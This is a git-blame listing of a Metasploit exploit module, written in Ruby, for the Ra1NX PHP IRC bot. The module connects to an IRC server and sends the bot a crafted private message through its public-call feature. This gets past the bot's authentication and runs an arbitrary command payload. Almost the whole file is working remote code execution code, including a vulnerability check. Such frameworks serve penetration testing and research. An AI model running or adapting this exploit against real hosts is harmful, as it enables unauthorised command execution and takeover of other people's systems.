Files
metasploit-gs/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

172 lines
4.7 KiB
Ruby
Raw Normal View History

2013-03-25 00:01:20 -04:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-25 00:01:20 -04:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-03-27 16:41:35 -04:00
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
2013-03-29 12:54:57 +01:00
'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',
'Description' => %q{
2013-03-29 12:54:57 +01:00
This module allows remote command execution on the PHP IRC bot Ra1NX by
using the public call feature in private message to covertly bypass the
authentication system.
},
'Author' =>
[
'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '91663'],
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
],
'Platform' => %w{ unix win },
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 344,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
2013-03-29 12:54:57 +01:00
'PayloadType' => 'cmd'
}
},
'Targets' =>
[
2013-03-27 17:22:29 -04:00
['Ra1NX / Unix', { 'Platform' => 'unix' } ],
['Ra1NX / Windows', { 'Platform' => 'win' } ]
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-03-24',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(6667),
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),
OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])
])
end
2013-08-30 16:28:54 -05:00
def post_auth?
true
end
2013-03-29 12:54:57 +01:00
def connect_irc
print_status("#{rhost}:#{rport} - Connecting to IRC server...")
connect
2013-08-30 16:28:54 -05:00
2013-03-29 12:54:57 +01:00
data = ""
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue EOFError
end
2013-08-30 16:28:54 -05:00
2013-03-29 12:54:57 +01:00
if data and data =~ /020.*wait/
2017-07-19 12:48:52 +01:00
print_good("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")
2013-03-29 12:54:57 +01:00
select(nil, nil, nil, 3)
end
end
2013-08-30 16:28:54 -05:00
2013-03-29 12:54:57 +01:00
def check
connect_irc
2013-08-30 16:28:54 -05:00
response = register(sock)
if response =~ /463/ or response =~ /464/
2014-01-21 13:03:36 -06:00
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return Exploit::CheckCode::Unknown
end
2013-08-30 16:28:54 -05:00
confirm_string = rand_text_alpha(8)
2013-03-29 12:54:57 +01:00
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
2013-08-30 16:28:54 -05:00
quit(sock)
disconnect
2013-08-30 16:28:54 -05:00
if response =~ /#{confirm_string}/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
2013-03-29 12:54:57 +01:00
def send_msg(sock, data)
sock.put(data)
data = ""
begin
2013-03-29 12:54:57 +01:00
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
2013-03-29 12:54:57 +01:00
end
rescue EOFError
end
data
end
2013-08-30 16:28:54 -05:00
def register(sock)
msg = ""
2013-08-30 16:28:54 -05:00
if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
end
2013-08-30 16:28:54 -05:00
if datastore['NICK'].length > 9
nick = rand_text_alpha(9)
print_error("The nick is longer than 9 characters, using #{nick}")
else
nick = datastore['NICK']
end
2013-08-30 16:28:54 -05:00
msg << "NICK #{nick}\r\n"
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
2013-08-30 16:28:54 -05:00
response = send_msg(sock,msg)
return response
end
2013-08-30 16:28:54 -05:00
def ra1nx_command(sock)
encoded = payload.encoded
command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"
response = send_msg(sock, command_msg)
return response
end
2013-08-30 16:28:54 -05:00
def quit(sock)
quit_msg = "QUIT :bye bye\r\n"
sock.put(quit_msg)
end
2013-08-30 16:28:54 -05:00
def exploit
2013-03-29 12:54:57 +01:00
connect_irc
2013-08-30 16:28:54 -05:00
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
response = register(sock)
if response =~ /463/ or response =~ /464/
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return
end
2013-08-30 16:28:54 -05:00
print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")
ra1nx_command(sock)
2013-08-30 16:28:54 -05:00
quit(sock)
disconnect
end
end